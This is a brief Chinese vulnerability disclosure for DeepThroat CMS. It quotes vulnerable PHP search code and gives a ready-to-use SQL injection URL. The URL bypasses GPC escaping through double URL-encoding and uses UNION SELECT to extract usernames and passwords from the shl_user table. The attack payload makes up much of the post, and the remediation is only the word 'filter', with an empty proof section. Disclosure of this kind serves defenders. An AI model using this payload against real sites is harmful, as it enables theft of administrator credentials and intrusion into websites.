深喉cms注射漏洞(bypass GPC)及修复方案 - 网站安全

简要描述： 深喉cms中由于对数据处理不严导致一个SQL注射漏洞 详细说明： global $db,$request;

 $keyword = urldecode($request['keyword']);

 switch($modelName)

 {

  case 'article':

   $sql = "select * from `".TB_PREFIX."article` where pageName like '%$keyword%' or content like '%$keyword%' order by id desc";

   return $db->get_results($sql);

   break;

注射有木有，有木有！！！

http://www.2cto.com /foo/?p=24&m=search&keyword=aaa%2527%20union%20select%201,2,3,4,username,6,7,pwd,9,10,11,12,13%20from%20shl_user%23

漏洞 证明：

修复方案： 过滤

作者：路人甲

查看更多关于深喉cms注射漏洞(bypass GPC)及修复方案 - 网站安全的详细内容...